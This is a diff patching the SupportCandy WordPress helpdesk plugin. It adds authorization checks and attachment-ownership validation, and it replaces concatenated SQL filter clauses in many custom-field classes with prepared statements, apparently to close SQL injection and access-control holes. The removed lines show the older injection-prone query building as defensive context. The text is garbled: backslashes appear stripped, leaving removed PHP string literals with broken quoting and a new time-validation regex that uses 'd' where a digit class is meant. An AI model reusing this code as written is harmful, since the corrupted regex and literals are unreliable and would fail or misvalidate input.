 												esc_attr( $log->date_created->setTimezone( wp_timezone() )->format( $advanced['thread-date-format'] ) )
 											);
 											?>
-											<a href="javascript:wpsc_it_view_thread_log(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, <?php echo intval( $log->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_thread_log' ) ); ?>');" class="wpsc-link">
+											<span class="wpsc-link" onclick="wpsc_it_view_thread_log(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, <?php echo intval( $log->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_thread_log' ) ); ?>');">
 												<?php esc_attr_e( 'View change', 'supportcandy' ); ?>
-											</a>
+											</span>
 											<?php
 											break;

--- a/supportcandy/includes/admin/tickets/class-wpsc-individual-ticket.php
+++ b/supportcandy/includes/admin/tickets/class-wpsc-individual-ticket.php
@@ -567,7 +567,7 @@
 							printf(
 								/* translators: %s: Sign in */
 								esc_attr__( '%s using email and password (registered user)', 'supportcandy' ),
-								'<a class="wpsc-link" href="javascript:wpsc_user_sign_in();">' . esc_attr__( 'Sign in', 'supportcandy' ) . '</a>'
+								'<span class="wpsc-link" onclick="wpsc_user_sign_in();">' . esc_attr__( 'Sign in', 'supportcandy' ) . '</span>'
 							);
 						?>
 					</p>
@@ -579,7 +579,7 @@
 								printf(
 									/* translators: %s: Sign in */
 									esc_attr__( '%s using email and one time password (guest user)', 'supportcandy' ),
-									'<a class="wpsc-link" href="javascript:wpsc_get_guest_sign_in();">' . esc_attr__( 'Sign in', 'supportcandy' ) . '</a>'
+									'<span class="wpsc-link" onclick="wpsc_get_guest_sign_in();">' . esc_attr__( 'Sign in', 'supportcandy' ) . '</span>'
 								);
 							?>
 						</p>
@@ -1255,9 +1255,9 @@
 									esc_attr( $logs[0]->date_created->setTimezone( wp_timezone() )->format( $advanced['thread-date-format'] ) )
 								);
 								?>
-								<a href="javascript:wpsc_it_view_deleted_thread(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_deleted_thread' ) ); ?>')">
+								<span class="wpsc-link" onclick="wpsc_it_view_deleted_thread(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_deleted_thread' ) ); ?>')">
 									<?php esc_attr_e( 'View thread!', 'supportcandy' ); ?>
-								</a>
+								</span>
 							</i>
 							<?php
 						}
@@ -1317,9 +1317,9 @@
 												esc_attr( $log->date_created->setTimezone( wp_timezone() )->format( $advanced['thread-date-format'] ) )
 											);
 											?>
-											<a href="javascript:wpsc_it_view_thread_log(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, <?php echo intval( $log->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_thread_log' ) ); ?>');" class="wpsc-link">
+											<span class="wpsc-link" onclick="wpsc_it_view_thread_log(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, <?php echo intval( $log->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_thread_log' ) ); ?>');">
 												<?php esc_attr_e( 'View change', 'supportcandy' ); ?>
-											</a>
+											</span>
 											<?php
 											break;

@@ -1601,6 +1601,18 @@

 			// description attachments.
 			$attachments = isset( $_POST['description_attachments'] ) ? array_filter( array_map( 'intval', $_POST['description_attachments'] ) ) : array();
+			$validated_attachments = array();
+			foreach ( $attachments as $id ) {
+
+				$attachment = new WPSC_Attachment( $id );
+				if ( ! $attachment->id ||
+					( $attachment->ticket_id && $attachment->is_active ) ) {
+					continue;
+				}
+
+				$validated_attachments[] = $id;
+			}
+			$attachments = $validated_attachments;

 			// submit reply.
 			$thread = WPSC_Thread::insert(
@@ -1706,6 +1718,18 @@

 			// description attachments.
 			$attachments = isset( $_POST['description_attachments'] ) ? array_filter( array_map( 'intval', $_POST['description_attachments'] ) ) : array();
+			$validated_attachments = array();
+			foreach ( $attachments as $id ) {
+
+				$attachment = new WPSC_Attachment( $id );
+				if ( ! $attachment->id ||
+					( $attachment->ticket_id && $attachment->is_active ) ) {
+					continue;
+				}
+
+				$validated_attachments[] = $id;
+			}
+			$attachments = $validated_attachments;

 			// submit note.
 			$thread = WPSC_Thread::insert(
@@ -2871,7 +2895,23 @@
 			}

 			$thread_attachments = isset( $_POST['thread_attachments'] ) ? array_filter( array_map( 'intval', $_POST['thread_attachments'] ) ) : array();
-			$new_attachments    = array();
+			$validated_attachments = array();
+			foreach ( $thread_attachments as $id ) {
+
+				$attachment = new WPSC_Attachment( $id );
+				if (
+				! $attachment->id ||
+				( $attachment->ticket_id && $attachment->ticket_id != self::$ticket->id ) ||
+				( $attachment->source_id && $attachment->source_id != $thread->id )
+				) {
+					continue;
+				}
+
+				$validated_attachments[] = $id;
+			}
+			$thread_attachments = $validated_attachments;
+
+			$new_attachments = array();
 			foreach ( $thread_attachments as $id ) {
 				$attachment            = new WPSC_Attachment( $id );
 				$attachment->is_active = 1;
@@ -3560,6 +3600,12 @@
 				wp_send_json_error( 'Unauthorized request!', 401 );
 			}

+			$current_user = WPSC_Current_User::$current_user;
+			$ms_advanced = get_option( 'wpsc-ms-advanced-settings' );
+			if ( ! ( $current_user->is_agent && $ms_advanced['agent-collision'] ) ) {
+				wp_send_json_error( new WP_Error( '001', 'Unauthorized!' ), 401 );
+			}
+
 			$id = isset( $_POST['ticket_id'] ) ? intval( $_POST['ticket_id'] ) : 0; // phpcs:ignore
 			if ( ! $id ) {
 				wp_send_json_error( new WP_Error( '001', 'Unauthorized!' ), 401 );
@@ -3570,6 +3616,11 @@
 				wp_send_json_error( new WP_Error( '002', 'Something went wrong!' ), 400 );
 			}

+			self::$ticket = $ticket;
+			if ( ! self::has_ticket_cap( 'view' ) ) {
+				wp_send_json_error( new WP_Error( '003', 'Unauthorized!' ), 401 );
+			}
+
 			$agent_id = isset( $_POST['agent_id'] ) ? intval( $_POST['agent_id'] ) : 0; // phpcs:ignore
 			if ( ! $agent_id ) {
 				wp_send_json_error( new WP_Error( '001', 'Unauthorized!' ), 401 );
--- a/supportcandy/includes/admin/tickets/class-wpsc-new-ticket.php
+++ b/supportcandy/includes/admin/tickets/class-wpsc-new-ticket.php
@@ -140,7 +140,7 @@
 									?>
 								</option>
 							</select>
-							<a class="wpsc-link" href="javascript:wpsc_get_change_create_as('<?php echo esc_attr( wp_create_nonce( 'wpsc_get_change_create_as' ) ); ?>');" style="margin-top:3px; width:fit-content;"><?php esc_attr_e( 'Add new', 'supportcandy' ); ?></a>
+							<span class="wpsc-link" onclick="wpsc_get_change_create_as('<?php echo esc_attr( wp_create_nonce( 'wpsc_get_change_create_as' ) ); ?>');" style="margin-top:3px; width:fit-content;"><?php esc_attr_e( 'Add new', 'supportcandy' ); ?></span>
 						</div>
 						<script>
 							jQuery('select.create-as').selectWoo({
--- a/supportcandy/includes/class-wpsc-functions.php
+++ b/supportcandy/includes/class-wpsc-functions.php
@@ -476,6 +476,119 @@
 		}

 		/**
+		 * Check whether given date is valid or not
+		 *
+		 * @param string $date - date string.
+		 * @param string $format - date format.
+		 * @return boolean
+		 */
+		public static function is_valid_date( $date, $format = 'Y-m-d' ) {
+			$d = DateTime::createFromFormat( $format, $date );
+			return $d && $d->format( $format ) === $date;
+		}
+
+		/**
+		 * Check whether given datetime is valid or not
+		 *
+		 * @param string $datetime - datetime string.
+		 * @return boolean
+		 */
+		public static function is_valid_datetime( $datetime ) {
+
+			if ( ! is_string( $datetime ) ) {
+				return false;
+			}
+			$datetime = trim( $datetime );
+			$formats = array(
+				'Y-m-d H:i',
+				'Y-m-d H:i:s',
+			);
+
+			foreach ( $formats as $format ) {
+				$dt = DateTime::createFromFormat( $format, $datetime );
+				if (
+					$dt !== false &&
+					$dt->format( $format ) === $datetime
+				) {
+					return true;
+				}
+			}
+			return false;
+		}
+
+		/**
+		 * Check whether given time is valid or not
+		 *
+		 * @param string $time - time string.
+		 * @return boolean
+		 */
+		public static function is_valid_time( $time ) {
+			if ( ! is_string( $time ) ) {
+				return false;
+			}
+
+			// Accept HH:MM or HH:MM:SS (24-hour).
+			return (bool) preg_match(
+				'/^(?:[01]d|2[0-3]):[0-5]d(?::[0-5]d)?$/',
+				$time
+			);
+		}
+
+		/**
+		 * Normalize date string to UTC date string
+		 *
+		 * @param string  $date - date string.
+		 * @param boolean $end_of_day - end of day flag.
+		 * @return string|false
+		 */
+		public static function normalize_date( $date, $end_of_day = false ) {
+			if ( ! is_string( $date ) ) {
+				return false;
+			}
+
+			$date = trim( $date );
+
+			$formats = array(
+				'Y-m-d H:i:s',
+				'Y-m-d',
+			);
+
+			foreach ( $formats as $format ) {
+				$dt = DateTime::createFromFormat( $format, $date );
+				if ( $dt instanceof DateTime ) {
+					if ( $format === 'Y-m-d' ) {
+						$dt->setTime(
+							$end_of_day ? 23 : 0,
+							$end_of_day ? 59 : 0,
+							$end_of_day ? 59 : 0
+						);
+					}
+					return self::get_utc_date_str( $dt->format( 'Y-m-d H:i:s' ) );
+				}
+			}
+
+			return false;
+		}
+
+		/**
+		 * Return SQL BETWEEN string
+		 *
+		 * @param string $column - column name.
+		 * @param string $from - from value.
+		 * @param string $to - to value.
+		 * @return string
+		 */
+		public static function sql_between( $column, $from, $to ) {
+			return sprintf(
+				"%s BETWEEN '%s' AND '%s'",
+				$column,
+				esc_sql( $from ),
+				esc_sql( $to )
+			);
+		}
+
+
+		/**
 		 * Get new ticket url
 		 *
 		 * @return string
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-checkbox.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-checkbox.php
@@ -316,37 +316,47 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
-
+			global $wpdb;
+			$column = self::get_sql_slug( $cf );
 			switch ( $compare ) {

 				case '=':
-					$str = self::get_sql_slug( $cf ) . ' RLIKE '(^|[|])' . esc_sql( $val ) . '($|[|])'';
-					break;
+					if ( $val === '' ) {
+						$pattern = '(^|[|])^$($|[|])';
+					} else {
+						$pattern = '(^|[|])' . preg_quote( (string) $val, '/' ) . '($|[|])';
+					}
+
+					return $wpdb->prepare(
+						"{$column} RLIKE %s",
+						$pattern
+					);

 				case 'IN':
-					foreach ( $val as $index => $value ) {
-						if ( $value == '' ) {
-							$val[ $index ] = '^$';
-						}
+				case 'NOT IN':
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return '1=0';
 					}
-					$str = self::get_sql_slug( $cf ) . ' RLIKE '(^|[|])(' . implode( '|', esc_sql( $val ) ) . ')($|[|])'';
-					break;

-				case 'NOT IN':
-					foreach ( $val as $index => $value ) {
-						if ( $value == '' ) {
-							$val[ $index ] = '^$';
+					$patterns = array();
+					foreach ( $val as $value ) {
+						if ( $value === '' ) {
+							$patterns[] = '^$';
+						} else {
+							$patterns[] = preg_quote( (string) $value, '/' );
 						}
 					}
-					$str = self::get_sql_slug( $cf ) . ' NOT RLIKE '(^|[|])(' . implode( '|', esc_sql( $val ) ) . ')($|[|])'';
-					break;
+
+					$pattern = '(^|[|])(' . implode( '|', $patterns ) . ')($|[|])';
+					$operator = ( $compare === 'IN' ) ? 'RLIKE' : 'NOT RLIKE';
+					return $wpdb->prepare(
+						"{$column} {$operator} %s",
+						$pattern
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-date.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-date.php
@@ -342,61 +342,88 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
+			global $wpdb;
+			$column = self::get_sql_slug( $cf );
+
+			// Validate single-date inputs.
+			if ( in_array( $compare, array( '=', '<', '>', '<=', '>=' ), true ) ) {
+				if ( ! WPSC_Functions::is_valid_date( $val ) ) {
+					return '1=0';
+				}
+			}

 			switch ( $compare ) {

 				case '=':
 					$from = WPSC_Functions::get_utc_date_str( $val . ' 00:00:00' );
 					$to   = WPSC_Functions::get_utc_date_str( $val . ' 23:59:59' );
-					$str  = self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $from ) . '' AND '' . esc_sql( $to ) . ''';
-					break;
+
+					return $wpdb->prepare(
+						"{$column} BETWEEN %s AND %s",
+						$from,
+						$to
+					);

 				case '<':
 					$from = WPSC_Functions::get_utc_date_str( $val . ' 00:00:00' );
-					$arr  = array(
-						self::get_sql_slug( $cf ) . esc_sql( $compare ) . ''' . esc_sql( $from ) . ''',
-						self::get_sql_slug( $cf ) . ' != '0000-00-00 00:00:00'',
+
+					return $wpdb->prepare(
+						"({$column} < %s AND {$column} != '0000-00-00 00:00:00')",
+						$from
 					);
-					$str  = '(' . implode( ' AND ', $arr ) . ')';
-					break;

 				case '>':
-					$to  = WPSC_Functions::get_utc_date_str( $val . ' 23:59:59' );
-					$str = self::get_sql_slug( $cf ) . esc_sql( $compare ) . ''' . esc_sql( $to ) . ''';
-					break;
+					$to = WPSC_Functions::get_utc_date_str( $val . ' 23:59:59' );
+
+					return $wpdb->prepare(
+						"{$column} > %s",
+						$to
+					);

 				case '<=':
 					$from = WPSC_Functions::get_utc_date_str( $val . ' 00:00:00' );
 					$to   = WPSC_Functions::get_utc_date_str( $val . ' 23:59:59' );
-					$arr  = array(
-						self::get_sql_slug( $cf ) . esc_sql( $compare ) . ''' . esc_sql( $from ) . ''',
-						self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $from ) . '' AND '' . esc_sql( $to ) . ''',
+
+					return $wpdb->prepare(
+						"(({$column} <= %s OR {$column} BETWEEN %s AND %s)
+						AND {$column} != '0000-00-00 00:00:00')",
+						$from,
+						$from,
+						$to
 					);
-					$str  = '((' . implode( ' OR ', $arr ) . ') AND ' . self::get_sql_slug( $cf ) . ' != '0000-00-00 00:00:00')';
-					break;

 				case '>=':
 					$from = WPSC_Functions::get_utc_date_str( $val . ' 00:00:00' );
 					$to   = WPSC_Functions::get_utc_date_str( $val . ' 23:59:59' );
-					$arr  = array(
-						self::get_sql_slug( $cf ) . esc_sql( $compare ) . ''' . esc_sql( $to ) . ''',
-						self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $from ) . '' AND '' . esc_sql( $to ) . ''',
+
+					return $wpdb->prepare(
+						"({$column} >= %s OR {$column} BETWEEN %s AND %s)",
+						$to,
+						$from,
+						$to
 					);
-					$str  = '(' . implode( ' OR ', $arr ) . ')';
-					break;

 				case 'BETWEEN':
+					if (
+						! is_array( $val ) ||
+						! WPSC_Functions::is_valid_date( $val['operand_val_1'] ?? '' ) ||
+						! WPSC_Functions::is_valid_date( $val['operand_val_2'] ?? '' )
+					) {
+						return '1=0';
+					}
+
 					$from = WPSC_Functions::get_utc_date_str( $val['operand_val_1'] . ' 00:00:00' );
 					$to   = WPSC_Functions::get_utc_date_str( $val['operand_val_2'] . ' 23:59:59' );
-					$str  = self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $from ) . '' AND '' . esc_sql( $to ) . ''';
-					break;
+
+					return $wpdb->prepare(
+						"{$column} BETWEEN %s AND %s",
+						$from,
+						$to
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-datetime.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-datetime.php
@@ -344,30 +344,50 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
+			global $wpdb;

-			switch ( $compare ) {
+			$column = self::get_sql_slug( $cf );
+			if ( ! $column ) {
+				return '1=0';
+			}
+
+			$allowed_ops = array( '=', '<', '>', '<=', '>=', 'BETWEEN' );
+			if ( ! in_array( $compare, $allowed_ops, true ) ) {
+				return '1=0';
+			}

-				case '=':
-				case '<':
-				case '>':
-				case '<=':
-				case '>=':
-					$from = WPSC_Functions::get_utc_date_str( $val . ':00' );
-					$str  = self::get_sql_slug( $cf ) . $compare . ''' . esc_sql( $from ) . ''';
-					break;
-
-				case 'BETWEEN':
-					$from = WPSC_Functions::get_utc_date_str( $val['operand_val_1'] . ':00' );
-					$to   = WPSC_Functions::get_utc_date_str( $val['operand_val_2'] . ':00' );
-					$str  = self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $from ) . '' AND '' . esc_sql( $to ) . ''';
-					break;
+			if ( in_array( $compare, array( '=', '<', '>', '<=', '>=' ), true ) ) {
+				if ( ! is_string( $val ) || ! WPSC_Functions::is_valid_datetime( $val ) ) {
+					return '1=0';
+				}
+				$datetime = WPSC_Functions::get_utc_date_str( $val . ':00' );
+				return $wpdb->prepare(
+					"{$column} {$compare} %s",
+					$datetime
+				);
+			}

-				default:
-					$str = '1=1';
+			if ( 'BETWEEN' === $compare ) {
+				if (
+					! is_array( $val ) ||
+					! isset( $val['operand_val_1'], $val['operand_val_2'] ) ||
+					! WPSC_Functions::is_valid_datetime( $val['operand_val_1'] ) ||
+					! WPSC_Functions::is_valid_datetime( $val['operand_val_2'] )
+				) {
+					return '1=0';
+				}
+
+				$from = WPSC_Functions::get_utc_date_str( $val['operand_val_1'] . ':00' );
+				$to   = WPSC_Functions::get_utc_date_str( $val['operand_val_2'] . ':00' );
+
+				return $wpdb->prepare(
+					"{$column} BETWEEN %s AND %s",
+					$from,
+					$to
+				);
 			}

-			return $str;
+			return '1=0';
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-email.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-email.php
@@ -329,37 +329,79 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
-
+			global $wpdb;
+			$column = self::get_sql_slug( $cf );
 			switch ( $compare ) {

 				case '=':
-					$str = self::get_sql_slug( $cf ) . '='' . esc_sql( $val ) . ''';
-					break;
+					if ( ! is_string( $val ) || ! is_email( $val ) ) {
+						return '1=0';
+					}

-				case 'IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
+					return $wpdb->prepare(
+						"{$column} = %s",
+						$val
+					);

+				case 'IN':
 				case 'NOT IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) NOT IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return '1=0';
+					}
+
+					$emails = array();
+					foreach ( $val as $email ) {
+						if ( is_string( $email ) && is_email( $email ) ) {
+							$emails[] = $email;
+						}
+					}
+
+					if ( empty( $emails ) ) {
+						return '1=0';
+					}
+
+					$placeholders = implode( ', ', array_fill( 0, count( $emails ), '%s' ) );
+					$operator     = ( $compare === 'IN' ) ? 'IN' : 'NOT IN';
+
+					return $wpdb->prepare(
+						"CONVERT({$column} USING utf8) {$operator} ({$placeholders})",
+						$emails
+					);

 				case 'LIKE':
-					$arr = array();
-					$val = explode( PHP_EOL, $val );
-					foreach ( $val as $term ) {
-						$term  = str_replace( '*', '%', trim( $term ) );
-						$arr[] = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) LIKE '%' . esc_sql( $term ) . '%'';
+					if ( ! is_string( $val ) ) {
+						return '1=0';
 					}
-					$str = '(' . implode( ' OR ', $arr ) . ')';
-					break;
+
+					$terms = array_filter( array_map( 'trim', explode( PHP_EOL, $val ) ) );
+					$likes = array();
+					$args  = array();
+
+					foreach ( $terms as $term ) {
+
+						$term = str_replace( '*', '%', $term );
+						$term = $wpdb->esc_like( $term );
+
+						if ( $term === '' ) {
+							continue;
+						}
+
+						$likes[] = "CONVERT({$column} USING utf8) LIKE %s";
+						$args[]  = '%' . $term . '%';
+					}
+
+					if ( empty( $likes ) ) {
+						return '1=0';
+					}
+
+					return $wpdb->prepare(
+						'(' . implode( ' OR ', $likes ) . ')',
+						$args
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-multi-select.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-multi-select.php
@@ -316,37 +316,58 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
+			global $wpdb;
+
+			$column = self::get_sql_slug( $cf );
+
+			// Helper to escape regex safely.
+			$escape_regex = static function ( $value ) {
+				return preg_quote( (string) $value, '/' );
+			};

 			switch ( $compare ) {

 				case '=':
-					$str = self::get_sql_slug( $cf ) . ' RLIKE '(^|[|])' . esc_sql( $val ) . '($|[|])'';
-					break;
+					if ( $val === '' ) {
+						$pattern = '^$';
+					} else {
+						$pattern = '(^|[|])' . $escape_regex( $val ) . '($|[|])';
+					}
+
+					return $wpdb->prepare(
+						"{$column} RLIKE %s",
+						$pattern
+					);

 				case 'IN':
-					foreach ( $val as $index => $value ) {
-						if ( $value == '' ) {
-							$val[ $index ] = '^$';
-						}
+				case 'NOT IN':
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return '1=0';
 					}
-					$str = self::get_sql_slug( $cf ) . ' RLIKE '(^|[|])(' . implode( '|', esc_sql( $val ) ) . ')($|[|])'';
-					break;

-				case 'NOT IN':
-					foreach ( $val as $index => $value ) {
-						if ( $value == '' ) {
-							$val[ $index ] = '^$';
+					$patterns = array();
+
+					foreach ( $val as $value ) {
+						if ( $value === '' ) {
+							$patterns[] = '^$';
+						} else {
+							$patterns[] = preg_quote( (string) $value, '/' );
 						}
 					}
-					$str = self::get_sql_slug( $cf ) . ' NOT RLIKE '(^|[|])(' . implode( '|', esc_sql( $val ) ) . ')($|[|])'';
-					break;
+
+					$pattern = '(^|[|])(' . implode( '|', $patterns ) . ')($|[|])';
+
+					// IMPORTANT: map operator correctly.
+					$sql_operator = ( $compare === 'NOT IN' ) ? 'NOT RLIKE' : 'RLIKE';
+
+					return $wpdb->prepare(
+						"{$column} {$sql_operator} %s",
+						$pattern
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-number.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-number.php
@@ -359,8 +359,10 @@
 		 * @return string
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {
+			global $wpdb;
+
+			$column = self::get_sql_slug( $cf );

-			$str = '';
 			switch ( $compare ) {

 				case '=':
@@ -368,22 +370,42 @@
 				case '>':
 				case '<=':
 				case '>=':
-					$str = self::get_sql_slug( $cf ) . $compare . esc_sql( $val );
-					break;
+					// STRICT numeric enforcement.
+					if ( ! is_numeric( $val ) ) {
+						return '1=0';
+					}
+
+					return $wpdb->prepare(
+						"{$column} {$compare} %f",
+						(float) $val
+					);

 				case 'IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) IN(' . implode( ', ', esc_sql( $val ) ) . ')';
-					break;
-
 				case 'NOT IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) NOT IN(' . implode( ', ', esc_sql( $val ) ) . ')';
-					break;
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return '1=0';
+					}
+
+					$placeholders = array();
+					$values       = array();
+
+					foreach ( $val as $number ) {
+						if ( ! is_numeric( $number ) ) {
+							return '1=0';
+						}
+						$placeholders[] = '%f';
+						$values[]       = (float) $number;
+					}
+
+					$placeholder_sql = implode( ',', $placeholders );
+					return $wpdb->prepare(
+						"CONVERT({$column} USING utf8) {$compare} ({$placeholder_sql})",
+						$values
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-radio-button.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-radio-button.php
@@ -304,27 +304,33 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
-
+			global $wpdb;
+			$column = self::get_sql_slug( $cf );
 			switch ( $compare ) {

 				case '=':
-					$str = self::get_sql_slug( $cf ) . '='' . esc_sql( $val ) . ''';
-					break;
+					return $wpdb->prepare(
+						"{$column} = %s",
+						$val
+					);

 				case 'IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
-
 				case 'NOT IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) NOT IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return '1=0';
+					}
+
+					$placeholders = implode( ', ', array_fill( 0, count( $val ), '%s' ) );
+					$operator     = ( $compare === 'IN' ) ? 'IN' : 'NOT IN';
+
+					return $wpdb->prepare(
+						"{$column} {$operator} ({$placeholders})",
+						...array_values( $val )
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-single-select.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-single-select.php
@@ -306,27 +306,37 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
+			global $wpdb;
+
+			$column = self::get_sql_slug( $cf );

 			switch ( $compare ) {

 				case '=':
-					$str = self::get_sql_slug( $cf ) . '='' . esc_sql( $val ) . ''';
-					break;
+					return $wpdb->prepare(
+						"{$column} = %s",
+						(string) $val
+					);

 				case 'IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
-
 				case 'NOT IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) NOT IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return ( $compare === 'IN' ) ? '1=0' : '1=1';
+					}
+
+					$placeholders = implode(
+						',',
+						array_fill( 0, count( $val ), '%s' )
+					);
+
+					return $wpdb->prepare(
+						"CONVERT({$column} USING utf8) {$compare} ({$placeholders})",
+						array_values( $val )
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-text-field.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-text-field.php
@@ -329,37 +329,61 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
+			global $wpdb;
+
+			$column = self::get_sql_slug( $cf );

 			switch ( $compare ) {

 				case '=':
-					$str = self::get_sql_slug( $cf ) . '='' . esc_sql( $val ) . ''';
-					break;
+					return $wpdb->prepare(
+						"{$column} = %s",
+						(string) $val
+					);

 				case 'IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
-
 				case 'NOT IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) NOT IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return '1=0';
+					}
+
+					$placeholders = array_fill( 0, count( $val ), '%s' );
+
+					return $wpdb->prepare(
+						"CONVERT({$column} USING utf8) {$compare} (" . implode( ',', $placeholders ) . ')',
+						$val
+					);

 				case 'LIKE':
-					$arr = array();
-					$val = explode( PHP_EOL, $val );
-					foreach ( $val as $term ) {
-						$term  = str_replace( '*', '%', trim( $term ) );
-						$arr[] = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) LIKE '%' . esc_sql( $term ) . '%'';
+					$terms = explode( PHP_EOL, (string) $val );
+					$sql   = array();
+					$args  = array();
+
+					foreach ( $terms as $term ) {
+						$term = trim( $term );
+						if ( $term === '' ) {
+							continue;
+						}
+
+						$term = str_replace( '*', '%', $term );
+						$term = '%' . $wpdb->esc_like( $term ) . '%';
+
+						$sql[]  = "CONVERT({$column} USING utf8) LIKE %s";
+						$args[] = $term;
+					}
+
+					if ( empty( $sql ) ) {
+						return '1=0';
 					}
-					$str = '(' . implode( ' OR ', $arr ) . ')';
-					break;
+
+					return $wpdb->prepare(
+						'(' . implode( ' OR ', $sql ) . ')',
+						$args
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-textarea.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-textarea.php
@@ -310,33 +310,73 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
-
+			global $wpdb;
+			$column = self::get_sql_slug( $cf );
 			switch ( $compare ) {

 				case 'IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
-
 				case 'NOT IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) NOT IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return '1=0';
+					}
+
+					$values = array();
+
+					foreach ( $val as $item ) {
+						if ( is_string( $item ) && $item !== '' ) {
+							$values[] = wp_strip_all_tags( $item );
+						}
+					}
+
+					if ( empty( $values ) ) {
+						return '1=0';
+					}
+
+					$placeholders = implode( ', ', array_fill( 0, count( $values ), '%s' ) );
+					$operator     = ( $compare === 'IN' ) ? 'IN' : 'NOT IN';
+
+					return $wpdb->prepare(
